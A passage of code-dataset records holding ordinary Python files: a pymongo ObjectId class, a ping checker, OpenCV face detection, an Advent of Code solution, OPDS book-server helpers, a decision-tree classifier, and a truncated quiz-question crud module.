value\n        # ObjectIds pickled in python 2.x used `str` for __id.\n        # In python 3.x this has to be converted to `bytes`\n        # by encoding latin-1.\n        if PY3 and isinstance(oid, text_type):\n            self.__id = oid.encode('latin-1')\n        else:\n            self.__id = oid\n\n    def __str__(self):\n        if PY3:\n            return binascii.hexlify(self.__id).decode()\n        return binascii.hexlify(self.__id)\n\n    def __repr__(self):\n        return \"ObjectId('%s')\" % (str(self),)\n\n    def __eq__(self, other):\n        if isinstance(other, ObjectId):\n            return self.__id == other.__id\n        return NotImplemented\n\n    def __ne__(self, other):\n        if isinstance(other, ObjectId):\n            return self.__id != other.__id\n        return NotImplemented\n\n    def __lt__(self, other):\n        if isinstance(other, ObjectId):\n            return self.__id < other.__id\n        return NotImplemented\n\n    def __le__(self, other):\n        if isinstance(other, ObjectId):\n            return self.__id <= other.__id\n        return NotImplemented\n\n    def __gt__(self, other):\n        if isinstance(other, ObjectId):\n            return self.__id > other.__id\n        return NotImplemented\n\n    def __ge__(self, other):\n        if isinstance(other, ObjectId):\n            return self.__id >= other.__id\n        return NotImplemented\n\n    def __hash__(self):\n        \"\"\"Get a hash value for this :class:`ObjectId`.\n\n        .. versionadded:: 1.1\n        \"\"\"\n        return hash(self.__id)\n", "repo_name": "Georce/lepus", "sub_path": "lepus/pymongo-2.7/bson/objectid.py", "file_name": "objectid.py", "file_ext": "py", "file_size_in_byte": 8391, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 333, "dataset": "github-code", "pt": "71", "api": [{"api_name": "hashlib.md5", "line_number": 6, "usage_type": "attribute"}, {"api_name": "md5.new", "line_number": 9, "usage_type": "attribute"}, {"api_name": "bson.py3compat.b", "line_number": 22, "usage_type": "call"}, {"api_name": "bson.py3compat.b", "line_number": 23, "usage_type": "call"}, {"api_name": "bson.py3compat.PY3", "line_number": 29, "usage_type": "name"}, {"api_name": "socket.gethostname", "line_number": 32, "usage_type": "call"}, {"api_name": "socket.gethostname", "line_number": 35, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 43, "usage_type": "call"}, {"api_name": "threading.Lock", "line_number": 44, "usage_type": "call"}, {"api_name": "calendar.timegm", "line_number": 112, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 113, "usage_type": "call"}, {"api_name": "bson.errors.InvalidId", "line_number": 128, "usage_type": "name"}, {"api_name": "struct.pack", "line_number": 137, "usage_type": "call"}, {"api_name": "time.time", "line_number": 137, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 143, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 143, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 147, "usage_type": "call"}, {"api_name": "bson.py3compat.string_types", "line_number": 166, "usage_type": "argument"}, {"api_name": "bson.py3compat.binary_type", "line_number": 168, "usage_type": "argument"}, {"api_name": "bson.errors.InvalidId", "line_number": 171, "usage_type": "call"}, {"api_name": "bson.py3compat.bytes_from_hex", "line_number": 174, "usage_type": "call"}, {"api_name": "bson.errors.InvalidId", "line_number": 176, "usage_type": "call"}, {"api_name": "bson.errors.InvalidId", "line_number": 178, "usage_type": "call"}, {"api_name": "bson.py3compat.binary_type.__name__", "line_number": 181, "usage_type": "attribute"}, {"api_name": "bson.py3compat.binary_type", "line_number": 181, "usage_type": "name"}, {"api_name": "bson.py3compat.text_type.__name__", "line_number": 182, "usage_type": "attribute"}, {"api_name": "bson.py3compat.text_type", "line_number": 182, "usage_type": "name"}, {"api_name": "struct.unpack", "line_number": 204, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 205, "usage_type": "call"}, {"api_name": "bson.tz_util.utc", "line_number": 205, "usage_type": "argument"}, {"api_name": "datetime.datetime", "line_number": 205, "usage_type": "attribute"}, {"api_name": "bson.py3compat.PY3", "line_number": 225, "usage_type": "name"}, {"api_name": "bson.py3compat.text_type", "line_number": 225, "usage_type": "argument"}, {"api_name": "bson.py3compat.PY3", "line_number": 231, "usage_type": "name"}, {"api_name": "binascii.hexlify", "line_number": 232, "usage_type": "call"}, {"api_name": "binascii.hexlify", "line_number": 233, "usage_type": "call"}]}
{"seq_id": "30413776736", "text": "import subprocess as p\nfrom multiprocessing.dummy import Pool as ThreadPool\n\n\ndef check_ip(ip):\n    ip = ip.strip()\n    w=p.Popen('ping -c 2 '+ip, shell=True, stdout=p.PIPE, stderr=p.PIPE)\n    out, err = w.communicate()\n    other_info = out.decode('utf-8')\n    if 'ttl' in other_info or 'TTL' in other_info:\n        pass\n    else:\n        print(ip,'is down')\n\n\nwith open('aliyun_ips_private.txt', 'r') as f:\n    ips = f.readlines()\n    try:\n        pool = ThreadPool(30)\n        pool.map(check_ip, ips)\n        pool.close()\n        pool.join()\n    except Exception as e:\n        print(e)\n", "repo_name": "paddy235/python_notes", "sub_path": "network/host_ping_test.py", "file_name": "host_ping_test.py", "file_ext": "py", "file_size_in_byte": 588, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "subprocess.Popen", "line_number": 7, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 7, "usage_type": "attribute"}, {"api_name": "multiprocessing.dummy.Pool", "line_number": 19, "usage_type": "call"}]}
{"seq_id": "11498011377", "text": "import cv2\nimport logging, coloredlogs\n\nface_cascade = cv2.CascadeClassifier('./classifiers/haarcascade_frontalface_default.xml')\neye_cascade = cv2.CascadeClassifier('./classifiers/haarcascade_eye.xml')\nsmile_cascade = cv2.CascadeClassifier('./classifiers/haarcascade_smile.xml')\n\n\ndef detect_n_plot(frame, detect_eyes=True, detect_smile=True, logger=None):\n    \"\"\"\n    @Parameters:\n        frame: Original frame\n        detect_eyes: Whether detect eyes or not\n        detect_smile: Whether detect smiles or not\n        logger: for logging\n    @Returns:\n        Frame with boxes surrounding faces and eyes\n    \"\"\"\n\n    # Convert frames to grayscale images because the \n    # cascade classifier fits matrices with a single\n    # color channel\n    gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n    # Detect faces\n    faces = face_cascade.detectMultiScale(\n        gray,\n        scaleFactor=1.1,\n        minNeighbors=5,\n        minSize=(30, 30),\n        flags=cv2.CV_8U\n    )\n\n    # Plot a rectangle around each face\n    for (face_x, face_y, face_w, face_h) in faces:\n\n        if logger:\n            logger.info(\"Face detected at coordinates ({}, {})\".format(face_x, face_y))\n\n        cv2.rectangle(frame, (face_x, face_y), (face_x + face_w, face_y + face_h), (0, 255, 0), 2)\n\n        cv2.putText(frame, \"Face\", (face_x, face_y - 5), cv2.FONT_HERSHEY_DUPLEX, 1, (0, 255, 0))\n\n        # Take the face Region-of-Interest\n        roi_frame = frame[face_y : face_y + face_h, face_x : face_x + face_w]\n        roi_gray = gray[face_y : face_y + face_h, face_x : face_x + face_w]\n\n        if detect_eyes:\n            eyes = eye_cascade.detectMultiScale(\n                roi_gray,\n                scaleFactor=1.1,\n                minNeighbors=5,\n                minSize=(30, 30),\n                flags=cv2.CV_8U\n            )\n\n            for (eye_x, eye_y, eye_w, eye_h) in eyes:\n                if logger:\n                    logger.info(\"Eyes detected at coordinates ({}, {})\".format(eye_x, eye_y))\n\n                cv2.rectangle(roi_frame, (eye_x, eye_y), (eye_x + eye_w, eye_y + eye_h), (255, 0, 0), 2)\n\n        if detect_smile:\n            smiles = smile_cascade.detectMultiScale(\n                roi_gray,\n                scaleFactor=1.1,\n                minNeighbors=5,\n                minSize=(30, 30),\n                flags=cv2.CV_8U\n            )\n        \n            for (smile_x, smile_y, smile_w, smile_h) in smiles:\n                cv2.rectangle(roi_frame, (smile_x, smile_y), (smile_x + smile_w, smile_y + smile_h), (0, 0, 255), 2)\n\n    return frame\n\nif __name__ == '__main__':\n\n    logger = logging.getLogger(__name__)\n    coloredlogs.install(level='DEBUG', logger=logger)   # To show only logs from the above logger\n\n    logger.info(\"Starting Video Capture ...\")\n\n    # Capture video from default webcam\n    video_cap = cv2.VideoCapture(0)\n\n    # Iterate over an infinite loop\n    while True:\n        # Read a single frame\n        _, frame = video_cap.read()\n\n        # Detect faces and eyes in this frame\n        result = detect_n_plot(frame, detect_smile=False, logger=logger)\n\n        # Show the detection result\n        cv2.imshow(\"Real-time detection\", result)\n\n        # Set the 'q' button to quit the program\n        if cv2.waitKey(30) & 0xFF == ord('q'):\n            break\n    \n    video_cap.release()\n    cv2.destroyAllWindows()", "repo_name": "redouane-dev/opencv-detection-test", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 3346, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cv2.CascadeClassifier", "line_number": 4, "usage_type": "call"}, {"api_name": "cv2.CascadeClassifier", "line_number": 5, "usage_type": "call"}, {"api_name": "cv2.CascadeClassifier", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 23, "usage_type": "attribute"}, {"api_name": "cv2.CV_8U", "line_number": 31, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 42, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_DUPLEX", "line_number": 42, "usage_type": "attribute"}, {"api_name": "cv2.CV_8U", "line_number": 54, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.CV_8U", "line_number": 69, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 73, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 79, "usage_type": "call"}, {"api_name": "coloredlogs.install", "line_number": 80, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 85, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 96, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 99, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 103, "usage_type": "call"}]}
{"seq_id": "75065661350", "text": "# Leaving this here for the future, but I learned that I have to be logged in\n# to see the puzzle input, so I'll download it to a local file and read it in.\n# import requests\n#\n# for line in requests.get(\"https://adventofcode.com/2022/day/1/input\"):\n#     print(line)\n\nimport pathlib\n\n# Reading in the file\nf = open(pathlib.Path(__file__).resolve().parents[1] / \"puzzle_input\" / \"puzzle_input_01.txt\")\n\none_sum = 0\nsums = []\n\nfor line in f:\n    print(line)\n    if line.strip():\n        one_sum = one_sum + int(line.strip())\n        # print(\"Sum = \", one_sum)\n\n    else:\n        # print(\"Found empty line, appending sum and resetting\")\n        sums.append(one_sum)\n        one_sum = 0\n\nprint(\"Max is: \", max(sums))\n\ntop_three = sum(sorted(sums, reverse=True)[0:3])\n\nprint(\"Top three total is: \", top_three)\n\n", "repo_name": "cedarwarman/advent_of_code_2022", "sub_path": "python/01.py", "file_name": "01.py", "file_ext": "py", "file_size_in_byte": 807, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pathlib.Path", "line_number": 11, "usage_type": "call"}]}
{"seq_id": "71245454629", "text": "# -*- coding: utf-8 -*-\n\"\"\"some internal library functions\"\"\"\n\nimport datetime\nimport urllib\nimport unicodedata as ud\nimport logging\n\nfrom functools import cmp_to_key\nfrom bs4 import BeautifulSoup\n\n# pylint: disable=E0402\nfrom .consts import URL, alphabet_1, alphabet_2\nfrom .db import dbconnect\n\n\ndef tpl_headers_symbols(link: str):\n    \"\"\"replace link name for html interface\"\"\"\n    h2s = {\n        \"start\": \"HOME\",  # was \"⌂\", # \"⌂\"\n        \"self\": \"RELOAD\",  # was \"↻\",  # \"↻\", was \"🗘\"\n        \"up\": \"UP\",  # was \"⇑\",  # \"⇒\"\n        \"next\": \"NEXT\",  # \"⇒\",  # \"⇑\"\n        \"prev\": \"PREV\"  # \"⇐\"  # \"⇐\"\n    }\n    if link in h2s:\n        return h2s[link]\n    return link\n\n\ndef cmp_in_arr(arr, char1, char2):\n    \"\"\"compare characters by array\"\"\"\n    if char1 in arr and char2 in arr:\n        idx1 = arr.index(char1)\n        idx2 = arr.index(char2)\n        if idx1 == idx2:  # pylint: disable=R1705\n            return 0\n        elif idx1 < idx2:\n            return -1\n        else:\n            return 1\n    else:\n        return None\n\n\ndef custom_alphabet_sort(slist):\n    \"\"\"custom sort by arrays of characters\"\"\"\n    ret = []\n    ret = sorted(slist, key=cmp_to_key(custom_alphabet_cmp))\n    return ret\n\n\ndef unicode_upper(stri: str):\n    \"\"\"custom UPPER + normalize for sqlite and other\"\"\"\n    ret = ud.normalize('NFKD', stri)\n    ret = ret.upper()\n    ret = ret.replace('Ё', 'Е')\n    ret = ret.replace('Й', 'И')\n    ret = ret.replace('Ъ', 'Ь')\n    return ret\n\n\ndef custom_char_cmp(char1: str, char2: str):  # pylint: disable=R0911\n    \"\"\"custom compare chars\"\"\"\n    if char1 == char2:\n        return 0\n\n    if char1 in alphabet_1 and char2 not in alphabet_1:\n        return -1\n    if char1 in alphabet_2 and char2 not in alphabet_2 and char2 not in alphabet_1:\n        return -1\n    if char2 in alphabet_1 and char1 not in alphabet_1:\n        return 1\n    if char2 in alphabet_2 and char1 not in alphabet_2 and char1 not in alphabet_1:\n        return 1\n\n    # sort by array order\n    if char1 in alphabet_1 and char2 in alphabet_1:\n        return cmp_in_arr(alphabet_1, char1, char2)\n    if char1 in alphabet_2 and char1 in alphabet_2:\n        return cmp_in_arr(alphabet_2, char1, char2)\n\n    if char1 < char2:  # pylint: disable=R1705\n        return -1\n    else:\n        return +1\n\n\ndef custom_alphabet_cmp(str1: str, str2: str):  # pylint: disable=R0911\n    \"\"\"custom compare strings\"\"\"\n    # pylint: disable=R1705\n    s1len = len(str1)\n    s2len = len(str2)\n    i = 0\n\n    # zero-length strings case\n    if s1len == i:\n        if i == s2len:\n            return 0\n        else:\n            return -1\n    elif i == s2len:\n        return 1\n\n    while custom_char_cmp(str1[i], str2[i]) == 0:\n        i = i + 1\n        if i == s1len:\n            if i == s2len:\n                return 0\n            else:\n                return -1\n        elif i == s2len:\n            return 1\n    return custom_char_cmp(str1[i], str2[i])\n\n\ndef custom_alphabet_name_cmp(str1, str2):  # pylint: disable=R0911\n    \"\"\"custom compare name fields\"\"\"\n    s1len = len(str1[\"name\"])\n    s2len = len(str2[\"name\"])\n    i = 0\n    # zero-length strings case\n    if s1len == i:\n        if i == s2len:  # pylint: disable=R1705\n            return 0\n        else:\n            return -1\n    elif i == s2len:\n        return 1\n    while custom_char_cmp(str1[\"name\"][i], str2[\"name\"][i]) == 0:\n        i = i + 1\n        if i == s1len:\n            if i == s2len:  # pylint: disable=R1705\n                return 0\n            else:\n                return -1\n        elif i == s2len:\n            return 1\n    return custom_char_cmp(str1[\"name\"][i], str2[\"name\"][i])\n\n\ndef custom_alphabet_book_title_cmp(str1, str2):  # pylint: disable=R0911\n    \"\"\"custom compare book_title fields\"\"\"\n    s1len = len(str1[\"book_title\"])\n    s2len = len(str2[\"book_title\"])\n    i = 0\n    # zero-length strings case\n    if s1len == i:\n        if i == s2len:  # pylint: disable=R1705\n            return 0\n        else:\n            return -1\n    elif i == s2len:\n        return 1\n\n    while custom_char_cmp(str1[\"book_title\"][i], str2[\"book_title\"][i]) == 0:\n        i = i + 1\n        if i == s1len:\n            if i == s2len:  # pylint: disable=R1705\n                return 0\n            else:\n                return -1\n        elif i == s2len:\n            return 1\n    return custom_char_cmp(str1[\"book_title\"][i], str2[\"book_title\"][i])\n\n\ndef get_dtiso():\n    \"\"\"return current time in iso\"\"\"\n    return datetime.datetime.now().astimezone().replace(microsecond=0).isoformat()\n\n\ndef id2path(any_id: str):\n    \"\"\"create path from id\"\"\"\n    first = any_id[:2]\n    second = any_id[2:4]\n    return first + \"/\" + second + \"/\" + any_id\n\n\n# pylint: disable=R0913\ndef get_book_entry(\n    date_time: str,\n    book_id: str,\n    book_title: str,\n    authors,\n    links,\n    category,\n    lang: str,\n    annotext: str\n):\n    \"\"\"create book entry for opds\"\"\"\n    ret = {\n        \"updated\": date_time,\n        \"id\": \"tag:book:\" + book_id,\n        \"title\": book_title,\n        \"author\": authors,\n        \"link\": links,\n        \"category\": category,\n        \"dc:language\": lang,\n        \"dc:format\": \"fb2\",\n        \"content\": {\n            \"@type\": \"text/html\",\n            \"#text\": html_refine(annotext)\n        }\n    }\n    return ret\n\n\n# 123456 -> 123k, 1234567 -> 1.23M\ndef sizeof_fmt(num: int, suffix=\"B\"):\n    \"\"\"format size to human-readable format\"\"\"\n    for unit in [\"\", \"Ki\", \"Mi\", \"Gi\", \"Ti\", \"Pi\", \"Ei\", \"Zi\"]:\n        if abs(num) < 1024.0:\n            return f\"{num:3.1f}{unit}{suffix}\"\n        num /= 1024.0\n    return f\"{num:.1f}Yi{suffix}\"\n\n\ndef get_seq_link(approot: str, seqref: str, seq_id: str, seq_name: str):\n    \"\"\"create sequence link for opds\"\"\"\n    ret = {\n        \"@href\": approot + seqref + seq_id,\n        \"@rel\": \"related\",\n        \"@title\": \"Серия '\" + seq_name + \"'\",\n        \"@type\": \"application/atom+xml\"\n    }\n    return ret\n\n\n# ctype == 'dl' for download\ndef get_book_link(approot: str, zipfile: str, filename: str, ctype: str):\n    \"\"\"create download/read link for opds\"\"\"\n    title = \"Читать онлайн\"\n    book_ctype = \"text/html\"\n    rel = \"alternate\"\n    if zipfile.endswith('zip'):\n        zipfile = zipfile[:-4]\n    href = approot + URL[\"read\"] + zipfile + \"/\" + url_str(filename)\n    if ctype == 'dl':\n        title = \"Скачать\"\n        book_ctype = \"application/fb2+zip\"\n        rel = \"http://opds-spec.org/acquisition/open-access\"\n        href = approot + URL[\"dl\"] + zipfile + \"/\" + url_str(filename) + \".zip\"\n    ret = {\n        \"@href\": href,\n        \"@rel\": rel,\n        \"@title\": title,\n        \"@type\": book_ctype\n    }\n    return ret\n\n\ndef url_str(string: str):\n    \"\"\"urlencode string (quote + replace some characters to %NN)\"\"\"\n    transl = {\n        '\"': '%22',\n        \"'\": '%27',\n        # '.': '%2E',\n        # '/': '%2F'\n    }\n    ret = ''\n    if string is not None:\n        for char in string:\n            if char in transl:  # pylint: disable=R1715\n                # pylint take here wrong warning\n                char = transl[char]\n            ret = ret + char\n    return urllib.parse.quote(ret, encoding='utf-8')\n\n\ndef html_refine(txt: str):\n    \"\"\"refine html by beautiful soap\"\"\"\n    html = BeautifulSoup(txt, 'html.parser')\n    ret = html.prettify()\n    return ret\n\n\ndef pubinfo_anno(pubinfo):\n    \"\"\"create publication info for opds\"\"\"\n    ret = \"\"\n    if pubinfo[\"isbn\"] is not None and pubinfo[\"isbn\"] != 'None':\n        ret = ret + \"
Данные публикации:
ISBN: %s
\" % pubinfo[\"isbn\"]\n    if pubinfo[\"year\"] is not None and pubinfo[\"year\"] != 'None':\n        ret = ret + \"
Год публикации: %s
\" % pubinfo[\"year\"]\n    if pubinfo[\"publisher\"] is not None and pubinfo[\"year\"] != 'None':\n        ret = ret + \"
Издательство: %s
\" % pubinfo[\"publisher\"]\n    return ret\n\n\ndef get_author_name(auth_id: str):\n    \"\"\"author name by id\"\"\"\n    ret = \"\"\n    try:\n        db_conn = dbconnect()\n        dbauthdata = db_conn.get_author(auth_id)\n        ret = dbauthdata[0][1]\n    except Exception as ex:  # pylint: disable=W0703\n        logging.error(ex)\n    return ret\n\n\ndef get_meta_name(meta_id):\n    \"\"\"author name by id\"\"\"\n    ret = meta_id\n    db_conn = dbconnect()\n    dbdata = db_conn.get_meta_name(meta_id)\n    if dbdata is not None and dbdata[0] is not None and dbdata[0] != '':\n        ret = dbdata[0]\n    return ret\n\n\ndef get_genre_name(gen_id: str):\n    \"\"\"genre name by id\"\"\"\n    ret = gen_id\n    db_conn = dbconnect()\n    dbdata = db_conn.get_genre_name(gen_id)\n    if dbdata is not None and dbdata[0] is not None and dbdata[0] != '':\n        ret = dbdata[0]\n    return ret\n\n\ndef get_seq_name(seq_id: str):\n    \"\"\"sequence name by id\"\"\"\n    db_conn = dbconnect()\n    return db_conn.get_seq_name(seq_id)\n\n\ndef get_book_authors(book_id: str):\n    \"\"\"one book authors\"\"\"\n    ret = []\n    try:\n        db_conn = dbconnect()\n        dbdata = db_conn.get_book_authors(book_id)\n        for auth in dbdata:\n            ret.append({\n                \"id\": auth[0],\n                \"name\": auth[1]\n            })\n    except Exception as ex:  # pylint: disable=W0703\n        logging.error(ex)\n    return ret\n\n\ndef get_books_authors(book_ids):\n    \"\"\"books authors\"\"\"\n    ret = {}\n    try:\n        db_conn = dbconnect()\n        dbdata = db_conn.get_books_authors(book_ids)\n        for auth in dbdata:\n            book_id = auth[0]\n            if book_id not in ret:\n                ret[book_id] = []\n            ret[book_id].append({\n                \"id\": auth[1],\n                \"name\": auth[2]\n            })\n    except Exception as ex:  # pylint: disable=W0703\n        logging.error(ex)\n    return ret\n\n\ndef get_book_seqs(book_id: str):\n    \"\"\"one book sequences\"\"\"\n    ret = []\n    try:\n        db_conn = dbconnect()\n        dbdata = db_conn.get_book_seqs(book_id)\n        for seq in dbdata:\n            ret.append({\n                \"id\": seq[0],\n                \"name\": seq[1],\n                \"num\": seq[2]\n            })\n    except Exception as ex:  # pylint: disable=W0703\n        logging.error(ex)\n    return ret\n\n\ndef get_books_seqs(book_ids):\n    \"\"\"books sequences\"\"\"\n    ret = {}\n    try:\n        db_conn = dbconnect()\n        dbdata = db_conn.get_books_seqs(book_ids)\n        for seq in dbdata:\n            book_id = seq[0]\n            if book_id not in ret:\n                ret[book_id] = []\n            ret[book_id].append({\n                \"id\": seq[1],\n                \"name\": seq[2],\n                \"num\": seq[3]\n            })\n    except Exception as ex:  # pylint: disable=W0703\n        logging.error(ex)\n    return ret\n\n\ndef get_book_descr(book_id: str):\n    \"\"\"one book title/publication/annotation\"\"\"\n    book_title = \"\"\n    pub_isbn = None\n    pub_year = None\n    publisher = None\n    publisher_id = None\n    annotation = \"\"\n    try:\n        db_conn = dbconnect()\n        binfo = db_conn.get_book_descr(book_id)\n        book_title = binfo[0]\n        pub_isbn = binfo[1]\n        pub_year = binfo[2]\n        publisher = binfo[3]\n        publisher_id = binfo[4]\n        annotation = binfo[5]\n    except Exception as ex:  # pylint: disable=W0703\n        logging.error(ex)\n    return book_title, pub_isbn, pub_year, publisher, publisher_id, annotation\n\n\ndef get_books_descr(book_ids):\n    \"\"\"many books title/publication/annotation\"\"\"\n    ret = {}\n    try:\n        db_conn = dbconnect()\n        dbdata = db_conn.get_books_descr(book_ids)\n        for binfo in dbdata:\n            book_id = binfo[0]\n            ret[book_id] = (binfo[1], binfo[2], binfo[3], binfo[4], binfo[5], binfo[6])\n    except Exception as ex:  # pylint: disable=W0703\n        logging.error(ex)\n    return ret\n\n\ndef get_book_cover(book_id):\n    \"\"\"return content-type, image or None, None\"\"\"\n    ret = None, None\n    try:\n        db_conn = dbconnect()\n        dbdata = db_conn.get_book_cover(book_id)\n        if dbdata is not None and dbdata[1] is not None and dbdata[1] != '':\n            ret = dbdata[0], dbdata[1]\n    except Exception as ex:  # pylint: disable=W0703\n        logging.error(ex)\n    return ret\n", "repo_name": "stanislavvv/fb2_srv_pg", "sub_path": "app/internals.py", "file_name": "internals.py", "file_ext": "py", "file_size_in_byte": 12120, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "functools.cmp_to_key", "line_number": 49, "usage_type": "call"}, {"api_name": "unicodedata.normalize", "line_number": 55, "usage_type": "call"}, {"api_name": "consts.alphabet_1", "line_number": 68, "usage_type": "name"}, {"api_name": "consts.alphabet_2", "line_number": 70, "usage_type": "name"}, {"api_name": "consts.alphabet_1", "line_number": 70, "usage_type": "name"}, {"api_name": "consts.alphabet_1", "line_number": 72, "usage_type": "name"}, {"api_name": "consts.alphabet_2", "line_number": 74, "usage_type": "name"}, {"api_name": "consts.alphabet_1", "line_number": 74, "usage_type": "name"}, {"api_name": "consts.alphabet_1", "line_number": 78, "usage_type": "name"}, {"api_name": "consts.alphabet_1", "line_number": 79, "usage_type": "argument"}, {"api_name": "consts.alphabet_2", "line_number": 80, "usage_type": "name"}, {"api_name": "consts.alphabet_2", "line_number": 81, "usage_type": "argument"}, {"api_name": "datetime.datetime.now", "line_number": 170, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 170, "usage_type": "attribute"}, {"api_name": "consts.URL", "line_number": 238, "usage_type": "name"}, {"api_name": "consts.URL", "line_number": 243, "usage_type": "name"}, {"api_name": "urllib.parse.quote", "line_number": 268, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 268, "usage_type": "attribute"}, {"api_name": "bs4.BeautifulSoup", "line_number": 273, "usage_type": "call"}, {"api_name": "db.dbconnect", "line_number": 294, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 298, "usage_type": "call"}, {"api_name": "db.dbconnect", "line_number": 305, "usage_type": "call"}, {"api_name": "db.dbconnect", "line_number": 315, "usage_type": "call"}, {"api_name": "db.dbconnect", "line_number": 324, "usage_type": "call"}, {"api_name": "db.dbconnect", "line_number": 332, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 340, "usage_type": "call"}, {"api_name": "db.dbconnect", "line_number": 348, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 359, "usage_type": "call"}, {"api_name": "db.dbconnect", "line_number": 367, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 376, "usage_type": "call"}, {"api_name": "db.dbconnect", "line_number": 384, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 396, "usage_type": "call"}, {"api_name": "db.dbconnect", "line_number": 409, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 418, "usage_type": "call"}, {"api_name": "db.dbconnect", "line_number": 426, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 432, "usage_type": "call"}, {"api_name": "db.dbconnect", "line_number": 440, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 445, "usage_type": "call"}]}
{"seq_id": "2471875177", "text": "import numpy as np\r\nimport pandas as pd\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.model_selection import train_test_split as sp\r\nfrom sklearn.tree import DecisionTreeClassifier as dtc\r\nfrom sklearn.metrics import accuracy_score, confusion_matrix\r\n\r\n\r\nnp.random.seed(146)\r\n\r\ndf = pd.read_csv(\"SISA.txt\")\r\n\r\ndf.fillna(0, inplace = True)\r\n\r\nfeatures = df.iloc[:,2:35]\r\n\r\nclasses = df.Hospitalized\r\n\r\nX_Train, X_Test, y_Train, y_Test = sp(features, classes, random_state = 0, test_size = 0.28)\r\n\r\nmodel = dtc()\r\nmodel.fit(X_Train, y_Train)\r\ny_Pred = model.predict(X_Test)\r\n\r\nprint(accuracy_score(y_Test, y_Pred))\r\n\r\nconf_mat = confusion_matrix(y_Test, y_Pred)\r\n\r\nplt.figure(figsize=(8,4))\r\nfig, ax = plt.subplots(figsize=(10,10))\r\nsns.heatmap(conf_mat, annot = True, fmt = 'd')\r\n\r\nplt.ylabel('Gerçek')\r\nplt.xlabel('Tahmin')\r\nplt.show()\r\n\r\n", "repo_name": "Omer-KISAKOL/Machine-Learning", "sub_path": "Sisa.py", "file_name": "Sisa.py", "file_ext": "py", "file_size_in_byte": 864, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.random.seed", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 12, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 20, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 22, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 26, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "seaborn.heatmap", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}]}
{"seq_id": "16123525742", "text": "from sqlalchemy.ext.asyncio import AsyncSession\nfrom sqlalchemy import select\nfrom db_models import Question as DBQuestion\nfrom schemas import QuestionCreate\nimport requests\nimport json\n\n\nasync def get_question(db: AsyncSession) -> DBQuestion:\n    query = (\n        select(DBQuestion)\n        .order_by(DBQuestion.created_at.desc())\n    )\n    result = await db.execute(query)\n    return result.scalars().first() if result else None\n\n\nasync def add_question(db: AsyncSession, number:QuestionCreate):\n    response = requests.get(f'https://jservice.io/api/random?count={number}')\n    list_of_questions = json.loads(response.content)\n    for q in list_of_questions:\n        print(q)\n        db_question = DBQuestion(\n            id = q['id'],\n            question = q['question'],\n            answer = q['answer']\n        )\n        async with db.begin():\n            db.add(db_question)\n        await db.refresh(db_question)\n        return db_question\n\n\n\n\n\n", "repo_name": "millevi/test1", "sub_path": "crud.py", "file_name": "crud.py", "file_ext": "py", "file_size_in_byte": 953, "program_lang": "python", 